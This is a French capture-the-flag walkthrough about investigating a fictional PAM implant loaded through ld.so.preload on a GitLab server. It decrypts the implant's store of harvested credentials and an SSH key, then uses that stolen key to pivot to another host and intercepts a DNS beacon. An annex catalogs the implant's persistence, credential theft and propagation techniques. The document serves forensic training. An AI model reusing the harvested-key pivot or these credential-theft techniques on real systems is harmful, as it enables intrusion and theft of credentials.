PAMDEMIC
Un implant — pam_audit_helper.so — a été découvert dans /etc/ld.so.preload sur armex-gitlab-01, le serveur Linux hébergeant le GitLab interne d'Armex. En se glissant dans ld.so.preload, il se charge dans chaque processus du système : sessions SSH des développeurs, sudo, cron — tout. Son rôle : hooker l'authentification PAM pour capturer les credentials au vol, chiffrer un store local, et baliser vers un C2 externe désormais injoignable.
Vous disposez d'un accès root temporaire sur la machine compromise. Objectif : remonter la chaîne — preuve d'implantation, notes de l'opérateur, credentials SSH capturés par son hook, sessions PAM loggées en temps réel (y compris la vôtre), replay de la session admin via le trap bashrc, puis utiliser la clé SSH harvestée pour pivoter sur armex-pivot-01 et enfin intercepter la clé de commande que le beacon transmet toutes les 60 secondes avant qu'elle ne serve à frapper armex-vpn-gw.
Conteneur isolé · accès root · détruit après 1h d'inactivité.
01Ghost in Authpreload · pam.d
Premier réflexe sur un système compromis : regarder ce qui se charge au démarrage de chaque processus. /etc/ld.so.preload est le mécanisme classique pour injecter une lib dans tous les processus sans toucher aux binaires. Un fichier là-dedans, c'est une alerte immédiate.
$cat /etc/ld.so.preload
Un module PAM en preload — l'implant tourne dans chaque processus du système. Les modules PAM modifient souvent /etc/pam.d/ lors de leur installation. En regardant common-auth, on remarque un commentaire inhabituel avec une référence d'audit.
$cat /etc/pam.d/common-auth
02Scratchpad opérateurfind · strace · xchacha20
Le MOTD mentionne que l'opérateur adverse a laissé un scratchpad dans le store de l'implant. Premier réflexe CERT : les logs système.
$grep -r PAMDEMIC /var/log/ 2>/dev/null
L'entrée auth.log a l'air légitime — un audit-token PAM. Mais c'est l'implant lui-même qui a crafté ce log pour ralentir l'analyse. On continue. En faisant du recon général on tombe sur un fichier suspect dans /tmp :
$find /tmp -name ".*" -type f 2>/dev/null
$tail -n +2 /tmp/.X11-unix/.Xlock | base64 -d
Des credentials harvestés et un token base64 — encore un leurre planté par l'implant. On tente strings sur le binaire. Surprise : une chaîne PAMDEMIC en clair.
$strings /lib/security/pam_audit_helper.so | grep PAMDEMIC
L'implant a injecté un fake flag en clair dans son propre binaire — un classique pour faire perdre du temps. Toutes les vraies données sont chiffrées. Il faut chercher ce que l'implant a créé au runtime, pas ce qu'il contient statiquement.
Chercher des fichiers créés au démarrage, plus récents que les fichiers système :
$find /usr/lib -newer /etc/motd -type f -name "????????????????" 2>/dev/null
Des fichiers avec des noms en hex dans un dossier caché qui imite un répertoire système légitime. Le contenu est binaire aléatoire — clairement chiffré. Les noms ont exactement 16 caractères hex, ce qui ressemble à SHA-256(clé)[:16]. Pour confirmer d'où vient la clé de chiffrement, on lance strace -f sur un nouveau shell : le module se charge à chaque nouveau processus, son daemon fork et on peut observer tous ses appels système.
$strace -f -e trace=openat bash -l 2>&1 | grep -E 'machine-id|hostname|gconv'
Le daemon lit machine-id puis hostname — deux fichiers d'identité unique par machine. La disk_key est probablement dérivée de ces deux valeurs. SHA-256 est le choix standard.
$python3 -c "import hashlib; mid=open('/etc/machine-id','rb').read().strip(); host=open('/etc/hostname','rb').read().strip(); print(hashlib.sha256(mid+host).hexdigest())"
Le dossier store contient un gconv-modules — commentaire de dev laissé par inadvertance. Il liste les entrées actives du store.
$cat /usr/lib/x86_64-linux-gnu/.gconv-modules.d/gconv-modules
Trois entrées connues. On vérifie que le hash de op_notes correspond bien à un fichier présent dans le store.
$python3 -c "import hashlib; print(hashlib.sha256(b'op_notes').hexdigest()[:16])"
Le fichier fait 24 octets de nonce + données chiffrées + 16 octets de tag — c'est le format standard XChaCha20-Poly1305 (nonce étendu de 24 octets, contrairement aux 12 de ChaCha20-IETF). On implémente HChaCha20 pour dériver la sous-clé puis on déchiffre avec la lib Python.
$python3 - <<'EOF'
import hashlib, struct
from cryptography.hazmat.primitives.ciphers.aead import ChaCha20Poly1305
def hchacha20(key, nonce16):
state = list(struct.unpack_from('<4I', b'expand 32-byte k'))
state += list(struct.unpack_from('<8I', key))
state += list(struct.unpack_from('<4I', nonce16))
def qr(a,b,c,d):
state[a]=(state[a]+state[b])&0xFFFFFFFF; state[d]^=state[a]; state[d]=((state[d]<<16)|(state[d]>>16))&0xFFFFFFFF
state[c]=(state[c]+state[d])&0xFFFFFFFF; state[b]^=state[c]; state[b]=((state[b]<<12)|(state[b]>>20))&0xFFFFFFFF
state[a]=(state[a]+state[b])&0xFFFFFFFF; state[d]^=state[a]; state[d]=((state[d]<<8)|(state[d]>>24))&0xFFFFFFFF
state[c]=(state[c]+state[d])&0xFFFFFFFF; state[b]^=state[c]; state[b]=((state[b]<<7)|(state[b]>>25))&0xFFFFFFFF
for _ in range(10):
qr(0,4,8,12);qr(1,5,9,13);qr(2,6,10,14);qr(3,7,11,15)
qr(0,5,10,15);qr(1,6,11,12);qr(2,7,8,13);qr(3,4,9,14)
return struct.pack('<8I', state[0],state[1],state[2],state[3],state[12],state[13],state[14],state[15])
def decrypt(key, blob):
n24 = blob[:24]; ct = blob[24:]
return ChaCha20Poly1305(hchacha20(key, n24[:16])).decrypt(b'\x00'*4 + n24[16:], ct, b'')
mid = open('/etc/machine-id','rb').read().strip()
host = open('/etc/hostname','rb').read().strip()
dk = hashlib.sha256(mid + host).digest()
fn = hashlib.sha256(b'op_notes').hexdigest()[:16]
blob = open(f'/usr/lib/x86_64-linux-gnu/.gconv-modules.d/{fn}','rb').read()
print(decrypt(dk, blob).decode())
EOF
03SSH harvest (hook pam_sm_open_session)strings · nm · ssh_harvest
Le scratchpad liste deux entrées du store : c2_session (utilitaire, contient la session_key dont on aura besoin au FLAG 4) et ssh_harvest (dump du hook SSH — c'est là qu'est le flag). Avant de plonger dans le store, on vérifie que la PAM a vraiment une capacité SSH — pas juste un beacon DNS.
$strings /lib/security/pam_audit_helper.so | grep -iE 'openssh|kex|openssh-key' | head
Le binaire embarque des bannières et suites KEX OpenSSH — le module se comporte comme un client SSH pour intercepter/relayer des sessions, ou plus simplement pour reconnaître le contexte SSH et capturer les credentials. On confirme côté symboles PAM :
$nm -D --defined-only /lib/security/pam_audit_helper.so | grep pam_sm
Tous les entry points PAM sont implémentés. pam_sm_open_session est le moment où PAM expose encore le mot de passe en clair (avant que pam_unix ne l'efface du handle) — c'est la fenêtre exacte utilisée par le module pour dumper les creds dans le store, sous la clé ssh_harvest.
$python3 -c "import hashlib; print(hashlib.sha256(b'ssh_harvest').hexdigest()[:16])"
Même script de déchiffrement que le FLAG 2, on remplace 'op_notes' par 'ssh_harvest'.
04Self-capture (pam_sm_open_session live)store · pam_sessions · bashrc trap
Le store contient une entrée pam_sessions — le hook pam_sm_open_session y logue chaque ouverture de session PAM sur le système. Même mécanique que les flags 2 et 3, on change juste le nom.
$python3 - <<'EOF'
import hashlib, json
from cryptography.hazmat.primitives.ciphers.aead import ChaCha20Poly1305
import struct
def hchacha20(key, nonce16):
state = list(struct.unpack_from('<4I', b'expand 32-byte k'))
state += list(struct.unpack_from('<8I', key))
state += list(struct.unpack_from('<4I', nonce16))
def qr(a,b,c,d):
state[a]=(state[a]+state[b])&0xFFFFFFFF; state[d]^=state[a]; state[d]=((state[d]<<16)|(state[d]>>16))&0xFFFFFFFF
state[c]=(state[c]+state[d])&0xFFFFFFFF; state[b]^=state[c]; state[b]=((state[b]<<12)|(state[b]>>20))&0xFFFFFFFF
state[a]=(state[a]+state[b])&0xFFFFFFFF; state[d]^=state[a]; state[d]=((state[d]<<8)|(state[d]>>24))&0xFFFFFFFF
state[c]=(state[c]+state[d])&0xFFFFFFFF; state[b]^=state[c]; state[b]=((state[b]<<7)|(state[b]>>25))&0xFFFFFFFF
for _ in range(10):
qr(0,4,8,12);qr(1,5,9,13);qr(2,6,10,14);qr(3,7,11,15)
qr(0,5,10,15);qr(1,6,11,12);qr(2,7,8,13);qr(3,4,9,14)
return struct.pack('<8I', state[0],state[1],state[2],state[3],state[12],state[13],state[14],state[15])
def decrypt(key, blob):
n24 = blob[:24]; ct = blob[24:]
return ChaCha20Poly1305(hchacha20(key, n24[:16])).decrypt(b'\x00'*4 + n24[16:], ct, b'')
mid = open('/etc/machine-id','rb').read().strip()
host = open('/etc/hostname','rb').read().strip()
dk = hashlib.sha256(mid + host).digest()
fn = hashlib.sha256(b'pam_sessions').hexdigest()[:16]
blob = open(f'/usr/lib/x86_64-linux-gnu/.gconv-modules.d/{fn}','rb').read()
data = json.loads(decrypt(dk, blob))
print(json.dumps(data, indent=2))
EOF
La session d'infection elle-même est dans le store — le hook s'est activé exactement à ce moment. Mais le plus frappant : votre propre connexion est aussi en train d'être loggée en direct. Un fichier caché dans /tmp/.gconv/ capture chaque commande que vous tapez.
$cat /tmp/.gconv/pam_commands.log
Le hook pam_inject_bashrc a injecté un PROMPT_COMMAND dans /etc/bash.bashrc au démarrage — votre session est enregistrée depuis le premier ls que vous avez tapé.
05TTY replay (session admin reconstituée)store · tty_harvest · pam_inject_bashrc
Même mécanique que les flags précédents, on déchiffre tty_harvest.
$python3 - <<'EOF'
import hashlib, json, struct
from cryptography.hazmat.primitives.ciphers.aead import ChaCha20Poly1305
def hchacha20(key, nonce16):
state = list(struct.unpack_from('<4I', b'expand 32-byte k'))
state += list(struct.unpack_from('<8I', key))
state += list(struct.unpack_from('<4I', nonce16))
def qr(a,b,c,d):
state[a]=(state[a]+state[b])&0xFFFFFFFF; state[d]^=state[a]; state[d]=((state[d]<<16)|(state[d]>>16))&0xFFFFFFFF
state[c]=(state[c]+state[d])&0xFFFFFFFF; state[b]^=state[c]; state[b]=((state[b]<<12)|(state[b]>>20))&0xFFFFFFFF
state[a]=(state[a]+state[b])&0xFFFFFFFF; state[d]^=state[a]; state[d]=((state[d]<<8)|(state[d]>>24))&0xFFFFFFFF
state[c]=(state[c]+state[d])&0xFFFFFFFF; state[b]^=state[c]; state[b]=((state[b]<<7)|(state[b]>>25))&0xFFFFFFFF
for _ in range(10):
qr(0,4,8,12);qr(1,5,9,13);qr(2,6,10,14);qr(3,7,11,15)
qr(0,5,10,15);qr(1,6,11,12);qr(2,7,8,13);qr(3,4,9,14)
return struct.pack('<8I', state[0],state[1],state[2],state[3],state[12],state[13],state[14],state[15])
mid = open('/etc/machine-id','rb').read().strip()
host = open('/etc/hostname','rb').read().strip()
dk = hashlib.sha256(mid + host).digest()
fn = hashlib.sha256(b'tty_harvest').hexdigest()[:16]
blob = open(f'/usr/lib/x86_64-linux-gnu/.gconv-modules.d/{fn}','rb').read()
data = json.loads(ChaCha20Poly1305(hchacha20(dk, blob[:16][:16])).decrypt(b'\x00'*4+blob[:24][16:], blob[24:], b''))
# version courte avec la fonction decrypt définie plus haut :
# data = json.loads(decrypt(dk, blob))
import datetime
for c in data['commands']:
ts = datetime.datetime.fromtimestamp(c['ts']).strftime('%Y-%m-%d %H:%M:%S')
cmd = c['cmd']
print(f"[{ts}] root > {cmd}")
print("\nflag:", data['flag'])
EOF
La session admin reconstituée montre qu'il a harvesté la clé SSH de root, puis s'est connecté à armex-pivot-01 sur le port 2222 avec l'utilisateur analyst. Cette clé est dans le store sous ssh_key — l'implant l'a capturée au passage.
06SSH pivot (clé harvestée → armex-pivot-01)store · ssh_key · ssh -p 2222
Le store contient l'entrée ssh_key — la clé Ed25519 privée harvestée par le plugin ssh_harvest lors de la session root. On extrait la PEM et on pivot.
$python3 - <<'EOF'
import hashlib, json, struct
from cryptography.hazmat.primitives.ciphers.aead import ChaCha20Poly1305
def hchacha20(key, nonce16):
state = list(struct.unpack_from('<4I', b'expand 32-byte k'))
state += list(struct.unpack_from('<8I', key))
state += list(struct.unpack_from('<4I', nonce16))
def qr(a,b,c,d):
state[a]=(state[a]+state[b])&0xFFFFFFFF; state[d]^=state[a]; state[d]=((state[d]<<16)|(state[d]>>16))&0xFFFFFFFF
state[c]=(state[c]+state[d])&0xFFFFFFFF; state[b]^=state[c]; state[b]=((state[b]<<12)|(state[b]>>20))&0xFFFFFFFF
state[a]=(state[a]+state[b])&0xFFFFFFFF; state[d]^=state[a]; state[d]=((state[d]<<8)|(state[d]>>24))&0xFFFFFFFF
state[c]=(state[c]+state[d])&0xFFFFFFFF; state[b]^=state[c]; state[b]=((state[b]<<7)|(state[b]>>25))&0xFFFFFFFF
for _ in range(10):
qr(0,4,8,12);qr(1,5,9,13);qr(2,6,10,14);qr(3,7,11,15)
qr(0,5,10,15);qr(1,6,11,12);qr(2,7,8,13);qr(3,4,9,14)
return struct.pack('<8I', state[0],state[1],state[2],state[3],state[12],state[13],state[14],state[15])
def decrypt(key, blob):
n24 = blob[:24]; ct = blob[24:]
return ChaCha20Poly1305(hchacha20(key, n24[:16])).decrypt(b'\x00'*4 + n24[16:], ct, b'')
mid = open('/etc/machine-id','rb').read().strip()
host = open('/etc/hostname','rb').read().strip()
dk = hashlib.sha256(mid + host).digest()
fn = hashlib.sha256(b'ssh_key').hexdigest()[:16]
blob = open(f'/usr/lib/x86_64-linux-gnu/.gconv-modules.d/{fn}','rb').read()
data = json.loads(decrypt(dk, blob))
print(f"target : {data['target_user']}@{data['target_host']}:{data['target_port']}")
with open('/tmp/pivot_key','w') as f:
f.write(data['private_key'])
import os; os.chmod('/tmp/pivot_key', 0o600)
print("clé écrite dans /tmp/pivot_key")
EOF
$ssh -i /tmp/pivot_key -p 2222 -o StrictHostKeyChecking=no analyst@armex-pivot-01
La clé harvestée par l'implant donne un accès direct au serveur pivot. L'opérateur adverse avait préparé ce compte pour ses mouvements latéraux — c'est maintenant notre point d'entrée pour auditer armex-pivot-01.
07Clé opérateur (beacon DNS)tcpdump · dns qname · xchacha
Le beacon est embarqué directement dans le .so (plugin ctf-beacon), chargé via LD_PRELOAD — pur C, pas de binaire externe. Il fork un daemon au premier chargement ; ps ne montre aucun processus beacon distinct. La piste /proc/<pid>/environ ne mène nulle part : la clé maître y est absente par conception. En revanche, ses connexions réseau sont visibles avec ss ou tcpdump : UDP vers 10.33.37.1:53 toutes les 60 secondes — du trafic DNS. Les données sont encodées dans le QNAME. Le script ci-dessous capture le prochain paquet, puis déchiffre le payload XChaCha20 avec la session_key déjà présente dans /run/c2_session.key (écrite au démarrage du conteneur). Le JSON déchiffré contient un champ pivot_auth — c'est la clé que l'opérateur allait transmettre à son C2 pour déclencher le pivot vers armex-vpn-gw. Interceptée avant qu'elle parte : l'opération GORGONE est neutralisée.
# One-shot : tcpdump s'arrête seul après 1 paquet (-c 1), puis déchiffrement tcpdump -U -c 1 -i eth0 -w /tmp/b.pcap 'udp and dst host 10.33.37.1' && \ python3 - <<'EOF' import json, base64, struct from cryptography.hazmat.primitives.ciphers.aead import ChaCha20Poly1305 raw = open('/tmp/b.pcap','rb').read() pos = 24 cap_len = struct.unpack_from('<I', raw, pos+8)[0] pkt = raw[pos+16:pos+16+cap_len] ihl = (pkt[14] & 0xF) * 4 dns = pkt[14+ihl+8:] p = 12; labels = [] while dns[p]: l = dns[p]; p += 1 labels.append(dns[p:p+l].decode()); p += l # derniers 3 labels = rand_subdomain + pamdemic-apt + xyz b = ''.join(labels[:-3]) blob = base64.urlsafe_b64decode(b + '=' * (-len(b) % 4)) session_key = bytes.fromhex(open('/run/c2_session.key').read().strip()) def hchacha20(key, n16): state = list(struct.unpack_from('<4I', b'expand 32-byte k')) state += list(struct.unpack_from('<8I', key)) state += list(struct.unpack_from('<4I', n16)) def qr(a,b,c,d): state[a]=(state[a]+state[b])&0xFFFFFFFF; state[d]^=state[a]; state[d]=((state[d]<<16)|(state[d]>>16))&0xFFFFFFFF state[c]=(state[c]+state[d])&0xFFFFFFFF; state[b]^=state[c]; state[b]=((state[b]<<12)|(state[b]>>20))&0xFFFFFFFF state[a]=(state[a]+state[b])&0xFFFFFFFF; state[d]^=state[a]; state[d]=((state[d]<<8)|(state[d]>>24))&0xFFFFFFFF state[c]=(state[c]+state[d])&0xFFFFFFFF; state[b]^=state[c]; state[b]=((state[b]<<7)|(state[b]>>25))&0xFFFFFFFF for _ in range(10): qr(0,4,8,12);qr(1,5,9,13);qr(2,6,10,14);qr(3,7,11,15) qr(0,5,10,15);qr(1,6,11,12);qr(2,7,8,13);qr(3,4,9,14) return struct.pack('<8I',state[0],state[1],state[2],state[3],state[12],state[13],state[14],state[15]) n24 = blob[:24]; ct = blob[24:] data = json.loads(ChaCha20Poly1305(hchacha20(session_key, n24[:16])).decrypt(b'\x00'*4+n24[16:], ct, b'')) print(json.dumps(data, indent=2)) print('\n>>> FLAG 7:', data['pivot_auth'], ' ← FLAG 7') EOF
※Annexe DFIR : capacités observées hors scopepour le rapport
pam_audit_helper.so n'est pas un simple hook PAM — c'est un framework post-exploit complet chargé dans chaque processus du système via ld.so.preload. Ces capacités n'étaient pas requises par les 4 flags mais doivent figurer dans le rapport CERT.
▸ Persistance & furtivité
- Chargement universel — ld.so.preload injecte l'implant dans chaque processus sans modifier aucun binaire système ; architecture plugin dynamique via plugin_info.
- Persistance 5 couches — udev (ajout interface réseau), initramfs (avant /sbin/init, Debian + Red Hat), GRUB hook, paramètre kernel init=, partition EFI (/boot/efi/EFI/.gc/payload.so) — survit à une réinstallation OS complète.
- Anti-détection — hook readdir(3) masque le store aux outils libc ; timestamp cloné sur pam_unix.so (find -newer aveugle) ; binaire immuable (chattr +i) ; section ELF .text.morph réécrite entre déploiements.
- Mise à jour à chaud — rechargement sans redémarrage via dlopen/dlsym après livraison sur stdin, timestamp respoofé et chattr +i réappliqué.
▸ Exfiltration & mouvement latéral
- Credential harvest — hook libcrypt.so capture les mots de passe avant hachage dans tout processus ; pam_sm_open_session dump les sessions SSH. Scope : comptes OS, clés SSH, tokens cloud (AWS/Azure/GCP), cookies navigateur (Chrome, Firefox), wallets, OAuth, applications (Slack, Signal, FileZilla, .npmrc, .pypirc…).
- Propagation automatisée — réplication SSH aux nœuds connus avec les clés harvestées ; hook zz-gconv-update (dernier hook alphabétique) s'exécute à chaque upgrade système ; supply chain via .npmrc/.pypirc volés.
- Exploitation infrastructure — 40+ plugins web (Apache, Nginx, Spring, Jenkins, Kubernetes, Docker, cloud IMDS) ; escape container via API Docker non authentifiée (port 2375), privileged pod K8s, WAR deploy Tomcat.
- Cibles cross-platform — Linux/macOS/Windows (Cygwin/WSL, MSSQL, NetBIOS) ; TTY dump des sessions actives.
▸ Infrastructure C2
- Trois canaux redondants — beacon DNS UDP/53 (vu au FLAG 4), SSH embarqué (Dropbear), fallback c2.home — bascule automatique si un canal est coupé.
- Mesh overlay chiffré — communication inter-nœuds indépendante du C2 DNS ; KEM hybride post-quantique sntrup761x25519-sha512, signatures Falcon, identité cryptographique propre à chaque nœud.
- Implication éradication — le mesh survit à la destruction du C2 DNS. La remédiation doit être simultanée sur l'ensemble du réseau Armex ; toute machine compromise restante peut réinfester le parc.
L'adversaire a déployé un implant de niveau APT, pas un simple vol de credentials. La surface d'exposition dépasse le périmètre GitLab — une analyse complète du réseau Armex est requise avant toute déclaration de remédiation.